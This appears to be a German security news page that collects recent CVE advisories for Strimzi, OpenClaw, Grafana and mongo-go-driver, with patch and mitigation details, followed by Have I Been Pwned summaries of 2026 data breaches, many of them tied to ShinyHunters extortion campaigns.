| ### Impact When only the Topic or only the User operators are deployed as part of the Entity Operator in the `Kafka` custom resource, the RBAC rights are not following the principle of least-privilege and the Entity Operator ServiceAccount still has access rights corresponding to both operators. That might allow the ServiceAccount to access `KafkaUser` custom resources and Secrets when the User operator is not deployed and access `KafkaTopic` custom resources when the Topic operator is not deployed. ### Patches The issue is fixed in Strimzi 1.0.1 and 1.1.0. ### Workarounds There is no workaround for this issue. | ||
| Risiko 7.5 / 10 CVE-2026-55225 | vor 1 Stunde(n) | |
| ### Impact Having the Topic and User operators to watch different namespaces than the one where the Kafka cluster is deployed, is a fully documented feature. When the `watchedNamespace` field is used within the Topic or User operator (as part of the `Kafka.spec.entityOperator` field), the Cluster Operator creates a Role granting full CRUD on Secrets into the specified namespace. It also creates a RoleBinding to bind such Role to the entity operator ServiceAccount within the namespace where the Kafka cluster runs. An attacker can craft a Kafka custom resource (in an attacker's namespace) with the `watchedNamespace` field set to a target namespace and then they can mint a token for the ServiceAccount (in the attacker's namespace) to read/write Secrets in that target. This is valid with any target namespace for which the Cluster Operator has the rights (regardless the value of the `STRIMZI_NAMESPACE` environment variable). The at-risk target namespaces are the namespaces which the user has given permissions to the Cluster Operator for, by creating related RoleBinding(s). ### Patches The issue is fixed in Strimzi 1.0.1 and 1.1.0 by adding a control to enable the watched namespace feature through a dedicated environment variable within the Cluster Operator deployment. The watched namespaces feature is disabled by default. ### Workarounds A possible workaround for this issue is about using a policy agent like Kyverno or OPA to prevent the usage of the `watchedNamespace` at configuration level within the `Kafka` custom resource. | ||
| Risiko 5 / 10 CVE-2026-53863 | vor 1 Stunde(n) | |
| ### Summary Tool group policy callers could accept unvalidated group IDs. In affected versions, a caller that can supply a group id to the affected policy resolver could resolve policy for an unvalidated group id. This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed. ### Impact When the affected feature is enabled and reachable, this could apply the wrong group-policy decision for a tool invocation. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path. ### Patched Versions The first stable patched version is `2026.4.25`. ### Mitigations avoid exposing group-policy controlled tools to untrusted senders until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed. | ||
| Risiko 7.5 / 10 CVE-2026-53842 | vor 1 Stunde(n) | |
| ### Summary Workspace .env CLOUDSDK_PYTHON could influence Gmail setup gcloud execution. In affected versions, a workspace `.env` in a repository opened by a trusted operator could influence which Python runtime `gcloud` used through `CLOUDSDK_PYTHON`. This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed. ### Impact When the affected feature is enabled and reachable, this could run setup through an unintended local Python path. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path. ### Patched Versions The first stable patched version is `2026.5.2`. ### Mitigations run Gmail setup from trusted workspaces and clear workspace env overrides until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed. | ||
| Risiko 7.5 / 10 CVE-2026-53866 | vor 1 Stunde(n) | |
| ### Summary Shell inline-command parsing could miss an allowlist check. In affected versions, a command request using shell inline-command forms could route an inline command through a parser case that did not receive the expected allowlist decision. This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed. ### Impact When the affected feature is enabled and reachable, this could run shell content without the intended approval or allowlist prompt. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path. ### Patched Versions The first stable patched version is `2026.5.12`. ### Mitigations require approval for shell inline-command forms until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed. | ||
| Risiko 7.5 / 10 CVE-2026-53843 | vor 1 Stunde(n) | |
| ### Summary In affected releases, a surviving pairing-scoped session for a device could re-establish node token authority after that node token had been revoked. Revocation should require the device to lose that authority unless it is approved again through the normal pairing flow. This issue affects token revocation and device-role containment. It does not allow unauthenticated device creation. ### Affected configurations This affects deployments where an already paired device keeps a same-device session with pairing-related scope after its node token is revoked. ### Impact A device that should have lost node WebSocket authority could regain it without renewed approval. That weakens revocation as an operator control and can keep node-level access alive longer than intended. The impact is limited to devices that already had a legitimate pairing/session foothold. ### Patched Versions The first stable patched version is `2026.5.26`. ### Mitigations Upgrade to `openclaw@2026.5.26` or later. If a node token was revoked on an older version, restart the gateway and remove/re-pair the affected device to ensure no stale session remains active. | ||
| Risiko 7.5 / 10 CVE-2026-53864 | vor 1 Stunde(n) | |
| ### Summary Host environment sanitizer missed two Node.js control variables. In affected versions, a lower-trust env source such as a workspace `.env`, tool env override, or skill env block could pass Node.js control variables through the shared sanitizer. This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed. ### Impact When the affected feature is enabled and reachable, this could influence a later Node.js child process or coverage output path when that process is launched under the accepted environment. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path. ### Patched Versions The first stable patched version is `2026.5.26`. ### Mitigations avoid inheriting workspace or tool-supplied env values from untrusted repositories until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed. | ||
| Risiko 7.5 / 10 GHSA-v383-2wgg-v483 | vor 1 Tag(en) | |
| ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-f397-5vjw-v2c2. This link is maintained to preserve external references. ## Original Description OpenClaw before 2026.5.12 contains an allowlist bypass vulnerability in shell inline-command parsing that allows authenticated operators to execute unapproved commands. A command request using shell inline-command forms could route through a parser case missing the expected allowlist decision, enabling shell content execution without intended approval prompts. | ||
| Risiko 5 / 10 GHSA-8wmm-344f-mpjg | vor 1 Tag(en) | |
| ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-985f-72mj-8gf7. This link is maintained to preserve external references. ## Original Description OpenClaw before 2026.4.25 contains an input validation vulnerability in tool group policy callers that accept unvalidated group IDs. Attackers who can supply a group ID to the policy resolver could trigger incorrect group-policy decisions for tool invocations, potentially bypassing intended access controls. | ||
| Risiko 7.5 / 10 GHSA-vr6h-vxqj-3pjx | vor 1 Tag(en) | |
| ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-ccwh-wwpp-6wg5. This link is maintained to preserve external references. ## Original Description OpenClaw before 2026.5.26 contains an insufficient sanitization vulnerability in the host environment sanitizer that allows Node.js control variables to bypass validation. Attackers with access to workspace .env files, tool environment overrides, or skill environment blocks can pass malicious Node.js control variables to influence child processes or coverage output paths. | ||
| Risiko 7.5 / 10 GHSA-9fr2-p65v-gqxq | vor 1 Tag(en) | |
| ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-fq9j-vw4w-fr6v. This link is maintained to preserve external references. ## Original Description OpenClaw before 2026.5.2 contains an environment variable injection vulnerability allowing workspace .env files to influence Python runtime selection through CLOUDSDK_PYTHON during Gmail setup gcloud execution. Attackers with repository access can manipulate the CLOUDSDK_PYTHON variable to execute setup through unintended local Python paths, potentially enabling arbitrary code execution. | ||
| Risiko 7.5 / 10 GHSA-wrmq-9fc4-gwwj | vor 1 Tag(en) | |
| ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-q99w-vh6v-q3v7. This link is maintained to preserve external references. ## Original Description OpenClaw before 2026.5.26 contains an authorization bypass vulnerability where a surviving pairing-scoped device session can re-establish node token authority after revocation. Attackers with a paired device can regain WebSocket node-level access without renewed approval, weakening revocation controls and maintaining unauthorized access longer than intended. | ||
| Risiko 5 / 10 CVE-2026-33381 | vor 35 Tag(en) | |
| When a user's access to mint tokens for a service account is revoked, it is sometimes still possible to do so for a few seconds after the event. The user will eventually lose access to do this. | ||
| Risiko 5 / 10 CVE-2026-33380 | vor 35 Tag(en) | |
| A vulnerability in SQL Expressions allows an authenticated attacker to read arbitrary files from the Grafana server's filesystem. Only instances with the sqlExpressions feature toggle enabled are vulnerable. | ||
| Risiko 5 / 10 CVE-2026-2303 | vor 127 Tag(en) | |
| The mongo-go-driver repository contains CGo bindings for GSSAPI (Kerberos) authentication on Linux and macOS. The C wrapper implementation contains a heap out-of-bounds read vulnerability due to incorrect assumptions about string termination in the GSSAPI standard. Since GSSAPI buffers are not guaranteed to be null-terminated or have extra padding, this results in reading one byte past the allocated heap buffer. | ||
Das "CVE"-Repository (eng. Common Vulnerabilities and Exposures) stellt eine Liste bekannter Schwachstellen und Sicherheitslücken in IT-Systemen unter Führung des "US-amerikanischen National Cybersecurity" zusammen und bewertet diese anhand Ihres Risikos auf einer Skala von eins bis zehn.
Gerade im Bereich von Web-Technologien und Cloud-Software werden regelmäßig Hacks und Sicherheitslücken bekannt. Die betroffenen Unternehmen erleiden in der Regel nicht nur einen Image-Schaden sondern stehen womöglich gegenüber Ihren Kunden auch in der rechtlichen Verantwortung. Das Projekt "Have I Been Pwned" sammelt seit Jahren Daten die aus Hacks oder Datenlecks öffentlich zugänglich werden und bietet einen Service um zu prüfen, ob man selbst von diesen Hacks betroffen wurde.
| 15.06.2026 - June 2026 Stealer Logs | 56.278.397 Datensätze geleaked | |
| Email addresses, Passwords In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard. Organisations can see logs affecting their domain via the stealer logs API. |
||
| 09.06.2026 - University of Nottingham | 454.635 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames In June 2026, the University of Nottingham was the target of a cyber attack, later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident, the university advised that the breach affected both "current students, and alumni". |
||
| 30.05.2026 - Atlas Menu | 63.926 Datensätze geleaked | |
| Email addresses, IP addresses, Passwords, Support tickets, Usernames In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes. |
||
| 29.05.2026 - BCD Travel | 396.313 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets. |
||
| 23.05.2026 - Baker Distributing | 102.935 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity. |
||
| 23.05.2026 - Charter | 4.851.517 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated. |
||
| 23.05.2026 - DentaQuest | 2.553.599 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat. |
||
| 05.05.2026 - Cushman & Wakefield | 310.431 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers. |
||
| 30.04.2026 - Reborn Gaming | 126 Datensätze geleaked | |
| Email addresses, IP addresses In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned. |
||
| 28.04.2026 - Vimeo | 119.167 Datensätze geleaked | |
| Email addresses, Names In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information". |
||
| 26.04.2026 - CTT | 468.124 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel. |
||
| 24.04.2026 - Udemy | 1.401.259 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer. |
||
| 20.04.2026 - ADT | 5.488.888 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people. |
||
| 20.04.2026 - Aman | 215.563 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes. |
||
| 20.04.2026 - Canada Life | 237.810 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data. |
||
| 20.04.2026 - Pitney Bowes | 8.243.989 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles. |
||
| 18.04.2026 - Carnival | 7.531.359 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity. |
||
| 15.04.2026 - Kemper | 269.299 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement. |
||
| 15.04.2026 - Zara | 197.376 Datensätze geleaked | |
| Email addresses, Geographic locations, Purchases, Support tickets In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information. |
||
| 14.04.2026 - Abrigo | 711.099 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers". |
||
| 12.04.2026 - Marcus & Millichap | 1.837.078 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information". |
||
| 12.04.2026 - Mytheresa | 84.108 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date. |
||
| 10.04.2026 - McGraw Hill | 13.500.136 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records. |
||
| 08.04.2026 - 7-Eleven | 185.256 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Phone numbers, Physical addresses In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data. |
||
| 07.04.2026 - My Lovely AI | 106.271 Datensätze geleaked | |
| Email addresses, Social media profiles In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames. |
||
| 06.04.2026 - LegionProxy | 10.144 Datensätze geleaked | |
| Email addresses, Names, Passwords, Purchases In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases. |
||
| 03.04.2026 - Amtrak | 2.147.679 Datensätze geleaked | |
| Email addresses, Names, Physical addresses, Support tickets In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records. |
||
| 02.04.2026 - SongTrivia2 | 291.739 Datensätze geleaked | |
| Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars. |
||
| 31.03.2026 - Hallmark | 1.736.520 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets. |
||
| 27.03.2026 - ZenBusiness | 5.118.184 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In March 2026, the hacker and extortion group "ShinyHunters" claimed to have obtained a substantial corpus of data from ZenBusiness, a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file. |
||
| 26.03.2026 - BreachForums Version 5 | 339.778 Datensätze geleaked | |
| Email addresses, Passwords, Usernames In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as "Version 5" was publicly disclosed. The incident exposed 340k unique email addresses along with usernames and argon2 password hashes. |
||
| 25.03.2026 - Addi | 34.532.941 Datensätze geleaked | |
| Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that "it is possible that your personal information may have been compromised". The "pay or leak" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points. |
||
| 25.03.2026 - Sound Radix | 292.993 Datensätze geleaked | |
| Email addresses, Names, Passwords In March 2026, the audio production tools company Sound Radix disclosed a data breach that they subsequently self-submitted to HIBP. The incident impacted 293k unique email addresses and names. Sound Radix advised that it is possible that additional data including hashed passwords may have been exposed, and that no financial or credit card information was impacted. |
||
| 19.03.2026 - Berkadia | 305.216 Datensätze geleaked | |
| Email addresses, Employers, Names, Phone numbers, Physical addresses In March 2026, the commercial real estate finance company Berkadia was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Berkadia's Salesforce instance, including over 300k unique email addresses as well as names, physical addresses and phone numbers, among other data. |
||
| 18.03.2026 - Infinite Campus | 137.123 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets, Usernames In March 2026, the student information system Infinite Campus was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Infinite Campus, containing 137k unique email addresses along with names, phone numbers, physical addresses and support tickets. Infinite Campus subsequently sent notifications, advising that the exposed data largely consisted of "names and contact information for school staff" and that "the majority is directory information commonly found on school websites". |
||
| 13.03.2026 - Divine Skins | 105.814 Datensätze geleaked | |
| Email addresses, Purchases, Usernames In March 2026, the League of Legends custom skins service Divine Skins suffered a data breach. The incident was disclosed via the service's Discord server, where Divine Skins stated that an unauthorised third party accessed part of its systems, deleted all skins from the database and exposed email addresses and usernames. The data also contained a history of purchases made by users. |
||
| 12.03.2026 - Crunchyroll | 1.195.684 Datensätze geleaked | |
| Email addresses In March 2026, the anime streaming service Crunchyroll suffered a data breach alleged to have impacted 6.8M users. The exposed data is reported to have originated from the company's Zendesk support system where "name, login name, email address, IP address, general geographic location and the contents of the support tickets" were exposed. A subset of 1.2M email addresses from an alleged 2M record dataset being sold was later provided to HIBP. |
||
| 08.03.2026 - Baydöner | 1.266.822 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Government issued IDs, Names, Passwords, Phone numbers, Purchases In March 2026, the Turkish restaurant chain Baydöner suffered a data breach which was subsequently published to a public hacking forum. The incident exposed over 1.2M unique email addresses along with names, phone numbers, cities of residence and plaintext passwords. A small number of records also included Turkish national ID number and date of birth. In their disclosure notice, Baydöner stated that payment and financial data was not affected. |
||
| 06.03.2026 - Aura | 903.080 Datensätze geleaked | |
| Customer service comments, Email addresses, IP addresses, Names, Phone numbers, Physical addresses In March 2026, the online safety service Aura disclosed a data breach that exposed 900k unique email addresses. The data was primarily associated with a marketing tool from a previously acquired company, with fewer than 20k active Aura customers affected. Exposed data included names, phone numbers, physical and IP addresses, and customer service notes. Aura advised that no Social Security numbers, passwords or financial information were compromised. |
||
| 04.03.2026 - SUCCESS | 253.510 Datensätze geleaked | |
| Device information, Email addresses, IP addresses, Names, Passwords, Phone numbers, Physical addresses, Purchases In March 2026, the personal development and achievement media brand SUCCESS suffered a data breach. The incident exposed 250k unique email addresses along with names, IP addresses, phone numbers and, for a limited number of staff members, bcrypt password hashes. The data also included orders containing physical addresses and the payment method used. In SUCCESS' disclosure notice, they advised their system had also been abused to send offensive newsletters with quotes falsely attributed to contributors. |
||